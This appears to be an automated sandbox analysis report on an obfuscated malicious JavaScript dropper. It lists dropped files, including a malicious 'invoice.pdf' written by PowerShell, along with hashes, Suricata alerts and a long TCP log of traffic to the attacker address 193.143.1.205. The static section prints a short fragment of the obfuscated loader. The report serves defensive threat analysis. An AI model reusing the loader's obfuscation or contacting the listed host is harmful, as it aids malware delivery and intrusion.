Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4eb7c12c-dc6a-46ce-8f8c-e87dccfa246e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (20147), with CRLF line terminators
Entropy (8bit):	4.90289957815633
TrID:
File name:	213526738195689141.js
File size:	23'727 bytes
MD5:	ff21fbbd2999cf58f5108bd6f3a8fdf0
SHA1:	9e0a762c8f73e638d84e910226f4d0045d2619e8
SHA256:	0d9f38b09870fa6ab5393be1364a9ddcb62c728f0e7b41e40a57e12173804f89
SHA512:	ac5ae104d764578c342bf4726d0b7ec8ff6a9a72a38edc8d1dafb72daa59148a182af61e111d57a70e2ac5928e2a59c8bb33abd43ab8de7701b6432ebeacfded
SSDEEP:	384:ggO4COCa4gVYtCN+BCqmOIhluvwWX8T1DtS/:gzYVYtC2m9l3WctS/
TLSH:	E7B264AE72C59A36C2D943F818AE105102F8434C7891A5D872D3E4AD5FCCE5AB6FB4F1
File Content Preview:	function iwsbrv(){qgngomv=[1031,3079,5127,4103,2055,3072];var uglrxyfo=this[cjcdir+wfdmzubvc+mqzae+fhyamzkb+ldrixo+gnfhzv+latzs+nllulrkwe](this[ulkqdznac+xbjzhyimv+caugixnqx+mqzae+nfkmkwbn+cjcdir+nllulrkwe][pqxqheovm+mqzae+ldrixo+wfdmzubvc+nllulrkwe+ldrix

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:48:34.788835+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T21:48:37.567339+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:48:33.981555939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:33.986465931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:33.986536026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:33.989830017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:33.994626045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788741112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788760900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788773060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788784027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788794994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788805008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788815022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788824081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788835049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.788835049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.788846016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.789339066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.852113962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.852127075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.852138042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.852248907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.895010948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.905528069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.905544043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.905555964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.905683041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.905700922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.906621933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.910239935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.910250902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.910372019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.910382986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.910392046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.910413027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.910900116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.914961100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.914973974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.914983988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.915041924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.915041924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.915086031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.915097952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.915178061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.919650078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.919661999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.919888020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.919899940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.919907093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.919985056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.924334049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.924345970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.924355030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.924669027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.938777924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.939156055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.969341040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.969360113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.969372034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.969788074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.970221043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.970421076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:34.973962069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.992229939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.992253065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:34.992897987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.024391890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.024410009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.024430037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.024441004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.024447918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.024456978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.024463892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.024477005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.024566889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.025223970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.025242090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.025254965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.025265932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.025279045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.025293112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.025326967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.025326967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.026060104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.026086092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.026098013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.026135921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.026149035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.026168108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.026247025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.026971102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.026983976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.026993990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027004004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027015924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027168036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.027770996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027790070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027807951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027817965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027829885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.027834892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.027904987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.028628111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.028639078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.028657913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.028667927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.028678894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.028682947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.028727055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.028727055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.029418945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.029460907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.029472113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.029484034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.029510021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.029614925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.056022882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.056040049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.056051970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.056063890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.056138992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.087065935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087104082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087124109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087135077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087147951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087160110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087188005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.087344885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087367058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.087384939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.087531090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.111087084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.111105919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.111118078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.111164093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.141182899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141223907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141233921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141244888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141257048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141283989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.141283989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.141356945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141377926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.141532898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141545057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141556025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141566038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141577005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141587019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141587019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.141599894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141608000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.141611099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.141727924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.142308950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142321110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142332077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142388105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.142388105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.142522097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142533064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142544031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142565012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.142589092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142606020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142616987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142627954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142638922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142649889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.142652035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.142672062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.142673016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.143441916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143455029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143476009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143492937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143501043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.143503904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143513918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143524885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143527985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.143539906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143552065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.143563986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.143563986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.143644094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.144433975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144453049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144464016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144473076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144484043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144494057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144496918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.144504070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144514084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144517899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.144525051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.144548893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.144925117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.145315886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145333052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145344019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145354033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145359993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.145364046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145370007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145376921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145391941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145400047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.145404100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.145425081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.145520926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.146070957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.146142960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.146153927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.146164894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.146183968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.146245956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.150511980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.159167051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.173814058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.173851967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.173862934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.173875093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.173886061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174005032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.174005032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.174022913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174034119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174045086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174055099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174081087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.174217939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.174271107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174282074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174293041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174309969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174319029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.174323082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.174340963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.174479008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.175056934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.197799921 CET	80	49704	193.143.1.205	192.168.2.5
